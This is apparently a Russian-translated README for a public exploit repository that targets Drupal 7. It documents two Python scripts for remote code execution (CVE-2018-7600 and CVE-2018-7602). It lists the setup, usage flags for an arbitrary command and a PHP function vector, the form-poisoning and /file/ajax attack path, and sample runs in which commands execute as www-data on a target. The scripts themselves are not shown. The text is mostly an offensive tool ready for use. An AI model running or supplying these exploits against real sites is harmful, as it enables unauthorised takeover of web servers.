pimps/cve-2018-7600Эксплойт для Drupal 7 <= 7.57 CVE-2018-7600
Установите необходимые библиотеки с помощью:
pip install requests
pip install bs4
$ python3 drupa7-CVE-2018-7600.py -h
=============================================================================
| DRUPAL 7 <= 7.57 REMOTE CODE EXECUTION (CVE-2018-7600) |
| by pimps |
=============================================================================
usage: drupa7-CVE-2018-7600.py [-h] [-c COMMAND] [-f FUNCTION] [-p PROXY]
target
positional arguments:
target URL целевого сайта Drupal (пример:
http://target.com/)
optional arguments:
-h, --help показать это справочное сообщение и выйти
-c COMMAND, --command COMMAND Команда для выполнения (по умолчанию = id)
-f FUNCTION, --function FUNCTION Функция, используемая как вектор атаки (по
умолчанию = passthru)
-p PROXY, --proxy PROXY Настроить прокси в формате
http://127.0.0.1:8080/ (по умолчанию = нет)
Этот скрипт использует уязвимость (CVE-2018-7600) в Drupal 7 <= 7.57 путём
отравления формы восстановления пароля (user/password) и её активации с помощью
загрузки файла через ajax (/file/ajax).
$ python3 drupa7-CVE-2018-7600.py http://target.local/
=============================================================================
| DRUPAL 7 <= 7.57 REMOTE CODE EXECUTION (CVE-2018-7600) |
| by pimps |
=============================================================================
[*] Отравление формы и включение её в кеш.
[*] ID отравленной формы: form-xpkEuQSuJJJQ1y4Sfs8gs0zzsVdO_v_TpaJDBSehzJE
[*] Запуск эксплойта для выполнения: id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Установите необходимые библиотеки с помощью:
pip install requests
pip install bs4
$ python3 drupa7-CVE-2018-7602.py -h
===================================================================================
| DRUPAL 7 <= 7.58 REMOTE CODE EXECUTION (SA-CORE-2018-004 / CVE-2018-7602) |
| by pimps |
===================================================================================
usage: drupa7-CVE-2018-7602.py [-h] [-c COMMAND] [-f FUNCTION] [-x PROXY]
user password target
positional arguments:
user Имя пользователя
password Пароль
target URL целевого сайта Drupal (пример:
http://target.com/)
optional arguments:
-h, --help показать это справочное сообщение и выйти
-c COMMAND, --command COMMAND Команда для выполнения (по умолчанию = id)
-f FUNCTION, --function FUNCTION Функция, используемая как вектор атаки (по
умолчанию = passthru)
-x PROXY, --proxy PROXY Настроить прокси в формате
http://127.0.0.1:8080/ (по умолчанию = нет)
Этот скрипт использует уязвимость (CVE-2018-7602) в Drupal 7 <= 7.58, используя
действительную учётную запись и отравляя форму отмены учётной записи
(user_cancel_confirm_form) с помощью переменной 'destination', и активируя её
загрузкой файла через ajax (/file/ajax).
$ python3 drupa7-CVE-2018-7602.py marcio2 teste123 http://127.0.0.1:9090/
===================================================================================
| DRUPAL 7 <= 7.58 REMOTE CODE EXECUTION (SA-CORE-2018-004 / CVE-2018-7602) |
| by pimps |
===================================================================================
[*] Создание сессии с использованием предоставленных учётных данных...
[*] Поиск идентификатора пользователя...
[*] Идентификатор пользователя найден: user/4
[*] Отравление формы с помощью 'destination' и включение её в кеш.
[*] ID отравленной формы: form-hKyeyIYxk-e4qT1sdZ6nWHq0xuHcH2BMWk3vMWaSExU
[*] Запуск эксплойта для выполнения: id
uid=33(www-data) gid=33(www-data) groups=33(www-data)